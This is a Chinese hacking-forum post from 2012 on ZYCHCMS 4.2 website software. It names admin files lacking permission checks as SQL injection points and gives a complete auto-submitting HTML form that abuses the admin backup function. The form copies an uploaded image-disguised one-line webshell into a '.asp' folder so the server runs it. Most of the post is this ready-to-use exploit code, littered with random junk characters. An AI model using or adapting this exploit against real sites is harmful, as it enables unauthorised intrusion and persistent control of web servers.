找回密码
 立即注册
查看: 2074|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
8 J8 E" |& w+ x! _, h

3 O1 }7 C# Q$ u1 m" S8 P: N
2 _6 s+ \. ?# b  o! Y/ C7 T8 O3 J- z+ W4 E# t* z  @
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)8 @" F# i. a" G8 O: {3 m( R
①SQL注射漏洞
- ~( s( `  ]; W- y 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp+ }* u! ]1 z% h3 ~4 B6 g* E( l
漏洞原因:未过滤# `& q  }- M4 Q' P' b# ]
漏洞代码:2 b8 o- g& W- D1 x. @& ~7 w% `
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。' u2 [( S2 J+ t" A  ?- x" T7 Q
修复方法:在文件开头加入代码
" e0 Y. |! _' }% }4 O
( ~" D' [/ _/ }0 _3 v& k' o0 j. e) ?8 O5 {9 `
②后台拿WBSHELL
3 ?% k& C% C) a0 m5 D4 [ 进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
5 Z- u8 e% f$ [+ K( t 这里在网上找了一个,改了下,将就着用。
5 J! R* Y4 ^! `/ n$ g. l 以下是代码本地提交代码
3 W8 H' h% a5 I( B- [1 q, t & z" N7 x7 p* l8 a/ m- E& p
& N  x! b1 f4 u$ L
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>  V9 {7 s7 g" z
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>8 h3 B: m/ ^+ N7 ]* I% {
<tr>
) c+ y4 Y; Y6 w4 ]1 H2 M5 f( C <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
! D. |' y/ y' C+ g3 U; b+ V. [* A </tr>9 ]" v) Z. I7 _* B- a: V
<tr>
9 L/ r+ h; v' D4 K <td bgcolor=”#FFFFFF”><span class=”back_southidc”>- L* g2 ?7 y$ e. V4 Z. e
</span>8 P2 R! r! B4 g
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >: ^" G/ q$ [" u8 ~+ @/ q
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >6 Q0 N7 C$ Z: x0 U& @: H3 `
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
1 B, L, K$ \: _. k <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
: y* O8 f/ v2 ? <div align=”left”>6 L7 q7 u2 _; m; A4 e! q  X0 {
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
0 k$ d6 I- D9 m' A/ _  |9 h <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
6 R; T4 N/ c2 _4 P2 m  g <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />( f6 @6 x/ C( m6 U# A7 ]0 N
</div></td>( L# y- G6 z: E4 J" x$ I, t- k
</tr>" y8 Y9 Z( g) b* G* R' r! w$ Z
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>. p9 _- @; M* _" y
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>. H- t6 ^+ W- I
<td class=”td”><div align=”left”>: r. }* F0 T3 k0 X
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
$ q" b7 j" P; B) Q+ b1 q4 u& R [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
: X7 A, A  I3 f </tr>/ M6 p/ Z1 h  x2 K9 X$ C% V
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
% K& i5 Y  S+ R6 J9 z: a <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>) [+ t5 J" }$ |+ D2 ]2 I
<td class=”td”><div align=”left”>
# a) }2 o6 a1 i$ G* n <input type=”submit” value=”确定备份” class=”btn”7 M0 z. ?3 X' V& N/ \# t5 v
</div></td>
. e! W+ L4 Z; s- v, | </tr>; O$ J0 L$ B7 D+ X: s- ~! B
</table></td></tr></form>
' w* l; B4 P  r# B' g2 F </table>
6 ~) w5 q6 u% N/ J# W </td>% o9 {# ~7 q4 j" z
</tr>
* U! }* Q4 t) s; S5 p/ N2 ?; D0 w6 c </table>
$ [  j; S9 d7 O+ x" K5 x <script>
! l: ~6 B$ {. ^9 ?& ^  z* f3 k document.all.add.submit();
5 u9 }# R- o$ O. o </script>- G9 O; B! U" P, ^4 _

" ^" O* |+ L4 |* _$ v5 U( c
$ \) {! }) _: i( l
% V$ J" S) {0 e+ l0 U
  j1 k+ y) n9 s! ~/ g) r4 D( {  T6 e2 N- E2 a2 G+ i

# ^. }  b+ h4 a- k
$ v. r5 O0 i' l5 \5 O3 C. G) |. S* o1 _- C7 d5 m' B6 r
6 }  g* p! O5 A0 _

; x* e) E9 R$ ?# o+ G3 X! }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表